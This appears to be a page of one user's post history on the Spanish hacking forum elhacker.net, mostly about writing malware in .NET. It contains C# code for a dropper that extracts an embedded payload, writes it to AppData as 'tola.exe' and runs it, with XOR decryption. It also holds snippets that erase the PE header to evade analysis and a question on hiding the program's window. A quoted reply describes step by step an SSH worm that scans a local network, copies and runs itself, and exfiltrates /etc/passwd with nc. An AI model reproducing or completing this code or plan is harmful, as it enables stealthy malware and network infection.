elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Mensajes
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ... 49
21  Programación / .NET / Re: Hola estoy creando un WannaCry2.0 no es para hacer el mal en: 5 Junio 2017, 02:29
Yo cree para estudiar uno en .net cualquiera duda pregunta.
22  Programación / .NET / Traducir este código a vb.net en: 5 Junio 2017, 02:29
Hola mi pregunta es sobre todo en los for se me hace complicado y en el stream. El completo código sería:
Código
  1. namespace skip
  2. {
  3.    static class Program
  4.    {
  5.        [STAThread]
  6.        static void Main()
  7.        {
  8.            Application.EnableVisualStyles();
  9.            Application.SetCompatibleTextRenderingDefault(false);
  10.            //Application.Run(new Form1());
  11.  
  12.            byte[] file =
  13.  File.ReadAllBytes(System.Reflection.Assembly.GetExecutingAssembly().Location);
  14.  
  15.            var position = PatternAt(file, Encoding.ASCII.GetBytes("BLAUMOLAMUCHO"));
  16.  
  17.            int longitudSeparador = Encoding.ASCII.GetBytes("BLAUMOLAMUCHO").Length;
  18.  
  19.            byte[] encodedBytes = new byte[file.Length - position.First()-longitudSeparador];
  20.            Array.Copy(file, position.First()+ longitudSeparador, encodedBytes, 0, file.Length - position.First()-longitudSeparador);
  21.  
  22.            //ruta del fichero embebido
  23.            string tempPath = System.IO.Path.GetTempPath();
  24.            string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
  25.            //var stream
  26.            Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("Manifest");
  27.            //Console.WriteLine(stream);
  28.            FileStream fileStream = new FileStream(appDataPath+ @"\tola.exe", FileMode.Create, FileAccess.Write);
  29.            for (int i = 0; i < stream.Length; i++)
  30.                fileStream.WriteByte((byte)stream.ReadByte());
  31.            fileStream.Close();
  32.            RunInternal(appDataPath + @"\tola.exe", "1234");
  33.         }
  34.  
  35.  
  36.  
  37.  
  38.        private static void RunInternal(string exeName, String pass)
  39.        {
  40.            //Verify the Payload exists
  41.            if (!File.Exists(exeName))
  42.                return;
  43.  
  44.            //Read the raw bytes of the file
  45.            byte[] resourcesBuffer = File.ReadAllBytes(exeName);
  46.  
  47.            byte[] decryptedBuffer = resourcesBuffer;
  48.  
  49.  
  50.  
  51.  
  52.            //If .NET executable -> Run
  53.            if (System.Text.Encoding.ASCII.GetString(decryptedBuffer).Contains("</assembly>")) //Esto devuelve false
  54.            {
  55.  
  56.            }
  57.            else
  58.            {
  59.                //Console.WriteLine(Encoding.ASCII.GetString(decryptedBuffer));
  60.               //Console.ReadKey();
  61.            }
  62.  
  63.        }
  64.  
  65.        /// <summary>
  66.        /// Decrypt the Loaded Assembly Bytes
  67.        /// </summary>
  68.        /// <param name="payload"></param>
  69.        /// <returns>Decrypted Bytes</returns>
  70.        /// algoritmo xor
  71.        private static byte[] decryptBytes(byte[] bytes, String pass)
  72.        {
  73.            byte[] XorBytes = Encoding.Unicode.GetBytes(pass);
  74.  
  75.            for (int i = 0; i < bytes.Length; i++)
  76.            {
  77.                bytes[i] ^= XorBytes[i % XorBytes.Length];
  78.            }
  79.  
  80.            return bytes;
  81.        }
  82.    }
  83. }

Por lo menos si no quereis indicarlo enterlo simplemente con los for y el streamer sería suficiente para comprender mejor las diferencias. gracias.
23  Foros Generales / Foro Libre / Re: Terror islamista en el corazón de Londres al grito de «Esto es por Alá» en: 5 Junio 2017, 02:11
No desvio el tema simplemente he dicho mi rotunda condena por lo sucedido y por todas las víctimas y muertos por manos de asesinos , por que al final estos son asesinos y la religión musulmana prohibe el asesinato y menos en nombre de alguien que lo condena, no me queda más que decir.
24  Foros Generales / Foro Libre / Re: Terror islamista en el corazón de Londres al grito de «Esto es por Alá» en: 5 Junio 2017, 00:47
Muere mas gente de hambre y no salen en las noticias, mi rotunda condena.
25  Programación / .NET / Como ocultar el formulario en vb.net en: 4 Junio 2017, 23:09
Mi pregunta es como puedo hacer para ocultar el formulario sin que apareciese, ya que al ponerlo como consola tampoco es lo que busco. Entonces mi pregunta es hay alguna manera de ocultar el formulario en caso de que no fuese necesario? He intentado con opacity,incluso con Hide:

Código:
Me.Hide()
Como podría hacer para que no sea visible.

Saludos.
26  Seguridad Informática / Análisis y Diseño de Malware / Re: Virus que se extiende por red local en: 30 Mayo 2017, 23:41
Por que no empiezas por poner un servicio tipo ssh con un usuario y password conocido. Y generas un script que:
1: haga un barrido por los ordenadores de la misma red en busca de victimas.
2: cuando encuentre una victima en la que el comando ssh nombre@IP con el password de login, copie el script en una ruta concreta de ese ordenador. Primero verifica si ya está o no. Si ya está ese arhivo pasa a la siguiente IP al paso 1.
3: Una vez copiado el archivo ejecuta el ejecutable en background y sal del ordenador.

Generas unas cuantas maquinas virtuales con una maquina linux, con sshd habilitado y el usuario y password pepe:pepe y generas un script en bash simple que haga lo que te comento.

Con eso, habrias hecho un proceso de infeccion. Ahora si quieres hacer mas cosas, pues mete en el script que busque un archivo concreto y que te lo envie a un ordenador concreto o lo pona en una web:

Por ejemplo, hacer un cat del /etc/passwd y lo pasas con un nc a un servidor que pongas en un puerto especifo a escuchar.

Es muy simple de hacer, y así te inicias en esto. Una vez hecho eso, pasas a otros sistemas, o formas de expansion como en lugar de saber la pass y el user que vaya probando solo. O que use un exploit conocido, o similares.

No se si se ha entendido.

El script digamos que haría un barrido de ip's y iría probando en cada ip para acceder por medio de ssh?
27  Programación / .NET / Re: Borrar la cabecera de un ejecutable .NET en: 28 Mayo 2017, 18:18
Basicamente es lo mismo:
Código:
[DllImport("kernel32.dll")]
private static extern IntPtr ZeroMemory(IntPtr addr, IntPtr size);

[DllImport("kernel32.dll")]
private static extern IntPtr VirtualProtect(IntPtr lpAddress, IntPtr dwSize, IntPtr flNewProtect, ref IntPtr lpflOldProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);

public static void EraseHeader()
{
IntPtr address = GetModuleHandle(null);
IntPtr dwOld = default(IntPtr);
VirtualProtect(address, (IntPtr)4096, (IntPtr)0x40, ref dwOld);
ZeroMemory(address, (IntPtr)4096);
}

Pero si cargas un formulario a tu aplicación te mostrara System.outofmemory exception.
28  Foros Generales / Sugerencias y dudas sobre el Foro / Re: Apartado de compra y venta de artículos informáticos entre usuarios. en: 27 Mayo 2017, 05:20
la cosa esta en el dinero todo lo compra.. pues eso si haces eso demuestras que si por tanto dejas de ser libre y el conocimiento se comercializa.
29  Programación / .NET / Re: Borrar la cabecera de un ejecutable .NET en: 27 Mayo 2017, 04:51
Algo así pero me devuelve excepcion:
Código:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;


namespace ConsoleApplication9
{
    class Program
    {
        public enum MemoryProtectionConsts : uint
        {
            EXECUTE = 0x10,
            EXECUTE_READ = 0x20,
            EXECUTE_READWRITE = 0x40,
            NOACCESS = 0x01,
            READONLY = 0x02,
            READWRITE = 0x04
        }

        [DllImport("kernel32.dll")]
        public static extern IntPtr GetModuleHandle(string lpModuleName);
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool VirtualProtect(IntPtr lpAddress, int dwSize, MemoryProtectionConsts flNewProtect,
            int lpflOldProtect);
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, EntryPoint = "RtlSecureZeroMemory")]
        private static extern void SecureZeroMemory(IntPtr ptr, IntPtr cnt);
        private static int ErasePEHeader() // hModule = Handle to the module, procName = Process name (eg. "notepad")
        {
            int OldProtect = 0;
            IntPtr pBaseAddr = GetModuleHandle(null);
            VirtualProtect(pBaseAddr, 4096, // Assume x86 page size
             MemoryProtectionConsts.READWRITE, OldProtect);
            SecureZeroMemory(pBaseAddr, (IntPtr)4096);
            return 0;
        }
        static void Main(string[] args)
        {
            ErasePEHeader();
            Console.WriteLine("");
            Console.ReadKey();
        }
    }
}

Citar
Por otro lado, no necesitas ni usar OpenProcess, WriteProcessMemory, etc, etc. pues estás en tu propio proceso.
Tienes razón me pase cinco pueblos.
Citar
Tendré que repasarme enserio la teoria..

El error que me devuelve es:


Y ya de paso dejar de copy/pastear y aprender a programar  :xD

30  Programación / .NET / Borrar la cabecera de un ejecutable .NET en: 26 Mayo 2017, 16:21
Hola estoy intentando borrar la cabecera en .NET el método que encontré por internet y que usan es:
Código
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Runtime.InteropServices;
  5. using System.Text;
  6. using System.Threading.Tasks;
  7.  
  8.  
  9. namespace ConsoleApplication9
  10. {
  11.    class Program
  12.    {
  13.        [DllImport("kernel32.dll")]
  14.        public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
  15.        [DllImport("kernel32.dll", SetLastError = true)]
  16.        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
  17.        [DllImport("kernel32.dll", SetLastError = true)]
  18.        //static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
  19.        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesWritten);
  20.        [DllImport("kernel32.dll")]
  21.        public static extern IntPtr GetModuleHandle(string lpModuleName);
  22.        private static int ErasePEHeader() // hModule = Handle to the module, procName = Process name (eg. "notepad")
  23. {
  24.    byte[] imagentheaderptr = new byte[4];
  25.    byte[] Stub = new byte[120];
  26.    byte[] Stub2 = new byte[0x108];
  27.    int Out=0, Out2=0;
  28.  
  29.            IntPtr hModule = GetModuleHandle(null);
  30.  
  31.            string procName = System.Reflection.Assembly.GetExecutingAssembly().GetName().Name;
  32.            procName = procName;
  33.            Console.WriteLine(hModule + "," + procName);
  34.  
  35.            IntPtr proc = OpenProcess(0x001F0FFF, false, System.Diagnostics.Process.GetProcessesByName(procName)[0].Id);
  36.    IntPtr IMAGE_NT_HEADER = new IntPtr((hModule.ToInt32() + 60)), out2 = IntPtr.Zero;
  37.    ReadProcessMemory(proc, IMAGE_NT_HEADER, imagentheaderptr, 4, out out2);
  38.    if ((WriteProcessMemory(proc, hModule, Stub, 120, ref Out) == true) && (WriteProcessMemory(proc, hModule, Stub2, 0x100, ref Out2) == true)) return Out + Out2;
  39.    else return 0;
  40. }
  41.        static void Main(string[] args)
  42.        {
  43.            int a = ErasePEHeader();
  44.            Console.WriteLine(a);
  45.            Console.ReadKey();
  46.        }
  47.    }
  48. }
Pero siempre me devuelve 0 o falso. ¿Alguien que me pueda explicar porque nunca la borra?
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ... 49
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines